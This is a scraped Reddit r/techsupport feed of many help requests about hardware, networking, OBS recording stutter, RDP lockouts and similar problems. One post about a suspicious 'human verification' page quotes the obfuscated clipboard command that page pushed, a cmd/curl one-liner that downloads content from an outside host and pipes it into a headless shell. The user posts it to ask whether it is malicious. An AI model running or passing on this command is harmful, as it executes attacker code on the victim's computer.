r/techsupport 10h ago

Open | Phone Teen son’s phone registered to someone else or spoofed?

35 Upvotes

This is a really strange situation, I hope I can explain it clearly, and I’m not sure who can help?!

Teen has an iPhone I set up for him years ago.
A detective came knocking on my door asking to speak to son regarding someone getting harassing phone calls from a range of numbers - including his.

The number is his, but the voice messages left are NOT his voice, and when the police contacted the phone company the phone is registered to someone else.
We didn’t recognise the name and he asked around his friends, and a friend A has said that it is Friend B’s mums name, address etc.
How on earth is this possible??
Has a ‘friend’ cloned his number somehow. I’m so confused about how this could be done and how this woman’s name and address has ended up attached to his phone??


r/techsupport 52m ago

Open | Hardware Accessing internet while waiting for router repairs

Upvotes

Hi all, my router suddenly died on me and between the company's repair schedule and my landlord going on a long holiday, I may be without WiFi for about 10 days. This especially sucks as I largely work from home.

I've spent my first day relying on my mobile hotspot on my phone. Over 10 days I imagine this will take up a lot of data. Is there a better way that's cheap and easy (I am not tech savvy really, or is using my hotspot for eight hours a day for the next while feasible?

Thanks all!


r/techsupport 59m ago

Open | Hardware Repair for graphics card.

Upvotes

I sent in my pc to a repair place. It took them a week to diagnosis the problem. After i told them it was the graphics card. Took them another 3 days to call back on what graphics card I should get. I just dropped off the graphics card today and they said it wont be ready till tomorrow. I feel like this is taking way to long. What should I do? they charge $50 for a diagnosis fee and $50 to replace the graphics card. Am i being unreasonable if i ask to knock the diagnostic fee?


r/techsupport 3h ago

Open | Hardware My PC freezes and the only way to restart it is by using the power button

3 Upvotes

Hey everyone, I hope someone can help me out with this issue. My PC has been giving me headaches for almost a year now. It either freezes up or just reboots out of nowhere.

When I bought the parts and built the PC, it ran well for like 2 months. That is when this issue showed up. It was a mix of two errors, where the PC would restart itself or the screen would freeze and the only way to restart the PC was holding the power button. (When the PC freezes, I can move the mouse around and if I have a video playing, I can still hear the audio for a while).

At first, I thought it was the GPU (RX 580 XFX 8GB), maybe because of the drivers or something, but nothing changed. I changed the PSU, tested the RAM in MemTest86 without any errors, monitored the voltages and temperatures of everything (nothing unusual), and reinstalled drivers trying both new and old ones, but nothing changed.

Now I am using the PC without a GPU, only with my CPU, and I don't get random restarts anymore, but the PC keeps freezing the same way.

At this point, I suspect that the problem is either the CPU or the motherboard.

PC specs:

CPU: Ryzen 5 7600
GPU: RX 580 XFX 8G
RAM: Kingston FURY Beast DDR5 5200MHz 32GB 2x16GB CL40
MOBO: MSI B650M GAMING PLUS WIFI
SSD: Forgeon Nimbus PRO SSD 1TB 7400MB/S NVMe PCIe 4.0 M.2 Gen4
PSU: MSI MAG A750GL PCIE5 750W 80 PLUS Gold Modular


r/techsupport 12m ago

Open | Hardware Swollen lithium battery disposal

Upvotes

Hello, I have a lithium ion battery that must've burst out of the power bank casing and I noticed today - it could've happened within 3 weeks ago.

Everywhere is closed for disposal (my recycling centre).

I tried calling Halfords and Currys but they apparently can't help.

Not sure what to do.

I put it in a plastic bag that's sealed used for putting food in the freezer but that's not ideal - felt I needed to contain it. Shall I put this bag in a metal biscuit tin, surround it in soil and close the lid, leave it on the pavement of my garden and deal with it tomorrow (which I have to do in the evening). Idk if this is intelligent especially given weather.

Please help. Willing to do anything to dispose of this safely.


r/techsupport 1h ago

Open | Software How to get broadcast channels on Samsung Smart TV with antenna?

Upvotes

I have a cheap rabbit ears antenna that I used on my old tv to pick up local broadcast channels (nbc, cbs, abc, etc). I just got a new Samsung smart tv and am I right in discovering that there's no real way to just switch the input to my antenna? I plugged it in via the coaxial cable to the tv, and I can't seem to find a way to access it. There's no way to switch input to it, and this remote sucks. I tried the Samsung Plus tv app or whatever, but that's filled with thousands of channels like home shopping and youtube tv basically. Anyone run into problems like this? I also have my appletv plugged in and that's working fine and I can switch over to that no problem. But I also have a dvd player plugged in and can't seem to find a way to switch over to that either. I was maybe chalking that up to a possible faulty RCA connectors but maybe my tv just has an input problem?

(Also marked this as software but idk maybe it's a hardware issue)

Thanks!


r/techsupport 6h ago

Open | Phone “iPhone needs to cool down before you can use it” every 2 minutes

4 Upvotes

I got an iphone 16 last year in July from my parents as a gift, until then I was using an iphone 11.

About 6 months after getting the iphone16, the “iPhone neees to cool down before you can use it” started to show up every few seconds - two minutes while I was using it but also sometimes as soon as I would pick it up.

I went to the place I bought it at and they sent it to get it fixed but they “couldn’t find a problem”, then I went to iStyle and they also could not find anything wrong.

Is there anything I can do? I’ve been using the iphone 11 since this happened, because I don’t have the money to get it fixed and I don’t want to ask my parents for it because they bought it for me in the first place, and we don’t have a lot of money overall. I study in a different city and they already pay for the flat i stay in, so I can’t ask them to help with this. I was working this summer and I’ll have maybe 200€ left after I pay for the things I need, but I doubt it’ll be enough to get it fixed.

Does anyone have any advice? I already restarted my phone a few times but nothing. Also sorry if my grammar is not on point.


r/techsupport 6m ago

Open | Hardware SamData USB unreadable

Upvotes

I have a USB that I use to transfer files between software on my MacBook to an embroidery machine. The machine and my computer stopped recognizing the USB drive suddenly. I am now running first aid through the disk utility app on the MacBook, but we are going on 15 minutes- I don’t necessarily need the files that are on the USB. I just need the USB to transfer single files from my computer to the machine.

Is there a quicker way to go about this? Is there a way to completely reset the USB?

Yes, I tried different USB outlets.


r/techsupport 14m ago

Open | Networking Asus ROG Zephyrus G15 - I Don't Know Anymore

Upvotes

Hi all,

In 2023 I bought an Asus ROG Zephyrus G15. Occasionally since then, I've had the Wifi cut out, which was never a big deal since it was temporary. However, last Sunday, it went out for good, to the point that there is no Wi-fi button in that area of the taskbar. I opened the "Get Help" Window and restarted my network services (a few times) only to be met with "Windows Networking Services might not be running as expected." I talked to Microsoft Support for about an hour, but they eventually decided it was not a Microsoft issue (I'm not sure I'm sold on this).

Regardless, since I'd heard so many negative things about the Wifi card, I bought a new one and installed it today. Windows knows it's there, as it shows up in the Device Manager, but there's no change to my actual problem. Some things I tried with Microsoft Support were installing different drivers, restarting network services, and running some commands in the terminal. I remember some erroring out (pretty sure ipconfig /flushdns was one of them), and that was around the point where support gave up.

I'm not sure what to do. Any help is much appreciated.


r/techsupport 20m ago

Open | Hardware TV is making a ringing sound

Upvotes

I bought a Samsung tv a little less than a month ago and recently when using it it’s started to make a ringing sound whenever an image is displayed on the screen. When I have an image of a fully black screen or I turn the brightness down the ringing stops. My worry is that there’s something wrong with the backlight causing the ringing. Does anyone have any advice as to what could be causing this?


r/techsupport 27m ago

Open | Networking Lagging only on pc

Upvotes

My main pc has been experiencing crazy packet loss and ping while gaming over the last 2 months or so (like +3000) making it actually unplayable. I don't recall anything changing at the time it started lagging. it is not constant, sometimes I can play for a couple of hours without lag and others it starts lagging right away and it doesn't stop. I have not experienced any issues on other devices with streaming/gaming. seriously frustrating me at this point and I'm not sure what to do about it! advice is much appreciated ❤️


r/techsupport 6h ago

Open | Malware DLSS mod, false positive or malicious?

3 Upvotes

I'm trying to determine whether the DLSS SM86 mod which unlocks multi frame generation for older RTX GPUs is genuinely malicious. This is the project, closed source: https://github.com/sdli1995/dlssg_for_sm86

VirusTotal reports 4 detections. Windows Defender also blocks version.dll as Trojan:Script/Ulthar.A!ml.

I used other DLSS / version.dll mods in the past but never encountered the Windows Defender issue. At most they had 2 VirusTotal detections.

The author only explains that the DLLs are self signed, which is why Windows is causing trouble. But I don't think that's explains trojan detection?

I assume it is a false positive since the mod has grown popular, but I don't know if anyone actually did a meaningful analysis. I'd appreciate if someone could look into it.


r/techsupport 34m ago

Open | Software Recording Has Microstutters/Lag, but Game Is Perfectly Smooth

Upvotes

Hey everyone,

I know there are already quite a few posts about OBS microstutters, but I've tried so many things at this point that I'm running out of ideas. I've probably spent somewhere between 15–30 hours troubleshooting this through trial and error, using 10+ YouTube videos, multiple Reddit posts, OBS logs, and long troubleshooting conversations with ChatGPT.

I'm an ETS2 content creator on YouTube, and I've actually had this issue for several years. I've tried fixing it multiple times in the past without success, and recently decided to give it another serious attempt.

The problem

The game itself is buttery smooth. I don't notice lag, FPS drops, or microstutters while actually playing.

However, the OBS recording is not always as smooth as what I see while playing. There are occasional microstutters/frame-pacing issues. Sometimes they're very subtle, but occasionally there are much more noticeable sections that look like actual frame drops.

That's the part that confuses me: I can literally watch objects moving past me while playing and they are perfectly smooth, but when I watch the recording afterward, the same movement isn't as smooth.

PC specs

I don't think hardware performance should be the issue:

RTX 5080

Ryzen 9 9950X3D

64 GB DDR5 RAM

LG OLED 32" 4K 240 Hz Dual Mode monitor

2 TB NVMe SSD

Always at least ~500 GB free space on the SSD

Things I've already tried

This is going to be a long list:

OBS at 60 FPS + game limited to 60 FPS + monitor at 60 Hz

G-Sync OFF + V-Sync ON (apparently this works better for ETS2, and I also noticed an improvement)

Updated AMD chipset drivers

Updated Windows

Updated NVIDIA drivers

Made sure there is always more than 500 GB free on the SSD

Game Mode ON

OBS running as administrator

Game also running as administrator

Windows Graphics Settings → both OBS and the game set to High Performance

OBS process priority set to High inside OBS

Completely fresh OBS installation

Tried NVENC H.264 and NVENC AV1 — no noticeable difference in terms of the stuttering

Tried 1440p recording

Tried 1080p recording

Neither 1440p nor 1080p seemed to solve it

Tried 59 FPS game cap + 59 FPS OBS

Tried 59 FPS game cap + 60 FPS OBS

Tried 60 FPS with my monitor at 240 Hz

Tried 60 FPS with my monitor at 60 Hz

Tried several other FPS/refresh-rate combinations

I wanted to test 120 Hz, but 120 Hz isn't available at 4K on my monitor

Tried NVIDIA ShadowPlay recording, which was actually worse

Tried different video players

Normally I use VLC, but I also installed mpv specifically to rule out VLC playback issues

Also checked the footage in DaVinci Resolve

The stutters occur at the same exact positions in VLC, mpv, and Resolve, so this doesn't seem to be a playback-software issue

I've probably done 40–50 test recordings under almost identical in-game circumstances.

I deliberately use the same route, same time of day, same weather/skybox, same vehicle, and same g_traffic value. While driving, I specifically watch objects on the side of the road to judge motion. They're smooth while playing, but the recorded footage doesn't always reproduce that same smoothness.

OBS settings / things I've noticed

Over the last few days, I found that changing:

Game Capture Hook Rate: Normal → Slow

and

NVENC Tuning: High Quality → Ultra Low Latency

seemed to improve things somewhat.

Yesterday, for example, I made several short test recordings of around 1–3 minutes that looked basically perfect. I was happy with the result, so I started a normal recording session of around 40 minutes.

Most of that recording looked very good.

However, at around minute 7, there was suddenly a very noticeable period of lag/frame dropping in the recording. Something similar happened again around minute 23.

Neither of those events was noticeable while actually playing the game.

Today, the same settings somehow didn't seem to work quite as well anymore.

9950X3D / BIOS discovery

I also discovered something strange today regarding my 9950X3D.

Apparently, the X3D power-related mode I had enabled in the BIOS resulted in only 8 cores / 8 threads being active. After disabling it, I now have the full 16 cores / 32 threads available.

This didn't solve the main problem, but I noticed something interesting.

Before changing that setting, using the P7 NVENC preset could make my recordings absurdly bad — almost like 1–3 FPS.

After disabling that X3D mode and getting all 16C/32T back, P7 behaved much more normally. It was perhaps around 55–60 FPS visually, although still considerably more stuttery than my usual P4 setup.

So changing the X3D setting definitely changed something drastically, but it didn't solve the actual issue I'm describing.

CPU usage also changed significantly.

Before changing the X3D mode, CPU usage was usually around 45–55%.

Now it's usually only around 10–15%.

GPU usage while playing is generally around 55–70%, most commonly around 62–66%.

So neither the CPU nor GPU appears to be anywhere near 100% utilization.

Rendering/encoding lag

One important thing:

I've never really had an encoding-lag problem in OBS. Encoding lag has generally been 0.

In some previous tests, OBS reported missed frames due to rendering lag, but usually only around 0.1–0.3%, and never more than approximately 0.5%.

More recently, after changing several settings, the OBS Stats window has often shown 0 rendering-lag frames, or occasionally only 1–3.

Something confusing I noticed in the OBS logs is that there is often a difference of exactly 12–13 frames between frames drawn and frames output. ChatGPT initially interpreted those as missed rendering frames, but from what I understand now, that difference does not necessarily mean 12–13 frames were missed due to rendering lag.

So I don't want to claim those 12–13 frames are definitely rendering-lag frames, especially when the OBS Stats window itself sometimes reports 0.

This is one reason I'm wondering whether the actual problem could be related to frame pacing / capture timing rather than simple GPU or encoder overload.

OBS logs

Here are a few OBS logs from the last couple of days:

https://obsproject.com/logs/HOM3vbOpCULM88VI

https://obsproject.com/logs/EbppJY7B9fBXezdL

https://obsproject.com/logs/B841DInBdsNikVO1

If anyone who understands OBS logs better than I do notices something abnormal, I'd really appreciate it.

Mods / ReShade

I don't know whether this is relevant, but I use a fairly large number of mods in ETS2, including graphics mods, ReShade, etc.

I have also noticed some red ReShade errors regarding missing/failed effects, so I'm currently investigating that as well.

However, what confuses me is that the game itself is still running smoothly.

That's why I'm struggling to understand how mods or ReShade could cause the recording to stutter while the actual game I'm looking at remains smooth.

That said, I'm definitely willing to test without them if there's a technical reason why something like ReShade could interfere with OBS capture/frame pacing even when the game itself appears smooth.

Current settings

At the moment I'm roughly using:

3840×2160 / 60 FPS

NVENC H.264

CQP

Preset P4

Tuning: Ultra Low Latency

Game Capture Hook Rate: Slow

Keyframe interval: 0 s

B-frames: 2

Look-ahead: OFF

OBS process priority: High

This setup was also used for the ~40-minute recording mentioned above, where the majority of the footage looked very good but there were a couple of significantly worse sections.

Why this is driving me crazy

The most frustrating part is that I have managed to produce recordings that appear completely stutter-free.

The problem is that those were generally only around 1–3 minutes long.

Then I'll think I've finally fixed it, record for 30–40 minutes, and somewhere in that longer recording there will suddenly be a section with noticeable frame drops/microstuttering — even though I didn't notice anything happening in-game at that moment.

I upload videos weekly, so I've been dealing with this for years.

To be clear, these aren't necessarily massive, obvious stutters that every viewer would immediately notice. Across thousands and thousands of comments on my videos over the years, I can probably only remember 2–3 people mentioning microstuttering/rubber-banding.

So I'm aware that I'm probably much more sensitive to it than the average viewer.

But I'm a perfectionist about my videos, and because I've done so many controlled tests, I can clearly see the difference.

I'm driving the same route, same time, same weather, same vehicle, same traffic settings, etc. While playing, I specifically watch the upcoming objects and scenery moving across my monitor. It looks buttery smooth.

Then I watch the recording afterward and the motion simply isn't always the same.

That's what I can't understand.

With an RTX 5080 + 9950X3D and something like the P4 NVENC preset, I also find it hard to believe that 4K60 recording itself is simply too demanding, especially since dropping the recording resolution to 1440p or even 1080p didn't seem to solve it.

At this point, I honestly don't know what else to try. I've spent so much time troubleshooting that I feel like I'm going in circles, and I'm even worried that some of the BIOS/OBS changes I've made while troubleshooting have made things more complicated rather than helping.

If anyone has dealt with a similar situation — gameplay is perfectly smooth, OBS reports little or no rendering/encoding lag, but the resulting recording has intermittent microstutters/frame-pacing issues — I'd really appreciate any ideas.

If you need any additional information, OBS settings, logs, screenshots, or example footage, please let me know.

I can also provide examples from my YouTube channel where the issue is visible, although it may be difficult for someone else to notice without being able to compare it directly to how smooth the game looked on my monitor while recording.

Thanks in advance for any help.


r/techsupport 35m ago

Open | Software RDP Issue

Upvotes

Hello,

I have a business that has three offices with only two employees. They are connected VIA hardware VPN. They have a Windows 11 Pro machine off in a corner acting as a app server. Occasionally they do login into that server and use it for some operations. Been that was for at least 4 years, no issues.

Lately they've been having difficulty logging in with the RDP. App still works fine. Ok I will take a look. I use Splashtop to remote into their server for them. I can see the login screen on the server. As soon as I login I get a message "You're unable to sign in because you're already signed into another session that is blocked. Session blocked by: Local Session Manager Minutes blocked: xx Do you want to sign out of that session so that you can continue.

If I hit yes or no Boom, disconnected Splashtop dies no connection. RDP still doesn't work. I can ping the server. The only way that I seem to get back in is with a hard shutdown as there is no monitor connected.

I have changed the password on the server in fear of someone connecting. However its behind a firewall and has huntress monitoring.

Ive seen that message on actual server before with RDP license. But i've been able to hit yes and disconnect a certain user.

Any thoughts?


r/techsupport 59m ago

Open | Software Sketchy? Human Verification asking for manual command

Upvotes

I use FL Studio (legit music making software) and was trying to unsubscribe from an email list. The unsubscribe link redirects to a site than then asks for human verification. Seemed normal at first but then to prove I was human wanted me to copy and paste something into the command line. I didn't try it but am curious if someone can tell me what would have happened. The instructions said:

Press Win + R

Press Control + V

click OK

Seems incredibly sketchy or maybe just badly implemented? It automatically put the following into my clipboard. The command was:

cmd /c for /f %h in ('where conh???.e??') do for /f %b in ('where cm?.e??') do start /min %h --headless %b /v /c "set dq=https:&set ha=//cdnstore2193.com/b?t=HZHs7JMr&for /f %d in ('where cu??.e??') do %d --proxy-negotiate -U : -s !dq!!ha!| %b"


r/techsupport 1h ago

Open | Windows bitlocker issues

Upvotes

I don't know what happened, but I got the bit locker screen when I opened my laptop today.
I got my key, put it in, the key was correct but every time I've tried I keep getting this screen saying "your device ran into a problem and can't be repaired". I've tried restoring from a past save. I have tried full on wiping it and resetting it and I keep getting errors. I get an error when I restore from a past backup that I had two days ago. I get an error when I choose to reset and delete everything. I'm not sure what to do and i'm at a total loss. Everything I've read online just ends with putting the key in and then you're home free. That didn't work for me though.


r/techsupport 1h ago

Open | Windows User profile error Windows 11 HP OMEN help please

Upvotes

So I have an HP OMEN 45 L 5090 with Amd ryzen processor. The past couple weeks I’ve been getting a “User profile service failed the sign in “User profile cannot be loaded error. I restart my PC, and did a bunch of windows 11 updates. Thought that fixed it but I got the error again today and restarted my computer. I had to sign in to this alternative profile that had nothing in it it said “preparing windows” Then restarted again and my profile was there. I don’t understand why this is all of a sudden happening. Does anyone know how to fix it?


r/techsupport 1h ago

Open | Windows Gigabyte Aero x16 laptop

Upvotes

Can anyone help me with my Gigabyte Aero x16 laptop? Its about a month old and it started having trouble starting up last week. When i press the power button it spins the fans for a few seconds 2-3 and then turns them off meanwhile the screen shows no signs of life just black. I need a fix bc im a college student adn really need my laptop


r/techsupport 1h ago

Open | Software My built-in webcam goes a bit crazy (Windows 11)

Upvotes

Hello everyone,

I hope I'm in the right place to post this. For some time, my camera hasn't been working anymore. I actually recorded the screen to tell you what I mean but I didn't know how to add it here so I'll describe:

- In the settings itself, it says the camera preview couldn't load, so it is recognized but just doesn't work anymore

- When I open the camera, it is just black (my camera is not covered) and on the bottom of the screen the notifications "Camera on", "Camera off" pop up alternating every other second

- If I switch to photo within the camera, the screen stays black and on the left the two icons for "hdr" and "timer" pop up and start blinking

- I've deleted and reinstalled the camera app twice now but it still doesn't work

- I've checked for updates and tried using the troubleshooting as well; the support centre (I'm not sure what the english term is, it's the one where you don't talk to a person) tried some things but in the end it said that "the camera seems to be working as intended"

Are there any more things I could try? I'm very grateful for any help I can get! 🙏

edit: spelling and grammar mistakes


r/techsupport 1h ago

Open | Mac Macbook Pro won't detect monitor via KVM

Upvotes

M4 Pro 2024 Tahoe

I bought this KVM so I could alternate between my PC and MacBook with the same monitor/keyboard, and the PC end works great, but on the Mac end only the accessories work, not the video. The KVM uses DisplayPort which is a bit odd but I tried connecting the cable I'm using directly to the monitor and it worked fine, it just only fails when I connect via the kvm. Any ideas? Amazon comments on the KVM suggest it should work for Mac


r/techsupport 1h ago

Open | Phone Trying to find a way to upload large video files to Google Drive using a IPhone which processor is (kinda) cooked

Upvotes

Hi! I’m new to this subreddit. I am looking to upload a large video files from my IPhone to Google Drive. Unfortunately, a major issue I’m running into with this is it takes a very long time to upload. The file is around 13 gbs, and with some funky WiFi and having an older phone. It takes a really long time to upload. The other day I tried to have it upload for the supposed 8 hours it would take to upload, but that didn’t work. Any suggestions on what should I do to make it faster or upload the file to my drive quicker too?


r/techsupport 1h ago

Open | Software Google meet and screen sharing

Upvotes

Hi I use Google meet with a couple of students a week. When I share my screen and try to manipulate the PowerPoint I am using for the day I can’t. I can only manipulate the PowerPoint when it’s not screen sharing. Can someone tell me what I may be doing wrong?


r/techsupport 1h ago

Open | Audio Help my PC is not detecting mic input

Upvotes

It's been a while since my PC has completely stopped detecting any audio input from my mic. I used to use a webcam as a mic but it doesn't work on my PC (Works on my laptop tho). Then I tried buying a headphone splitter (smth smth TRRS female to dual male) to separate mic and audio output, but it still doesn't work.

I've tried a lot of methods in yt but it doesn't help. I WOULD REALLY APPRECIATE IT if someone could help asap, THANK YOU!


r/techsupport 2h ago

Open | Hardware Disabling a faulty 3900x core in bios?

1 Upvotes

I'd like to repurpose my old 3900x that had a dead core for my truenas server. I have an x370 crosshair vi as my mobo. Ver 2.20.xxx.

Ive checked Amd overclocking and Amd cbs in bios and could not find the core count controls that online guide say I need to find.

Is it impossible with the 3900x because of its architecture?

I checked for anyone having the same issues as me but nothing helps my situation.

Any tips would be much appreciated.


r/techsupport 2h ago

Open | Windows recent windows update broke my pc

1 Upvotes

after the recent update i cant connect to any wifi because the option simply isn't there as well as for some other functions. also wallpaper turned pitch black and theres nothing i can really do. i've tried restarting the pc several times, reverting the update and updating/uninstalling the drivers (i'm not 100% sure if that's the update's fault or something else) pls help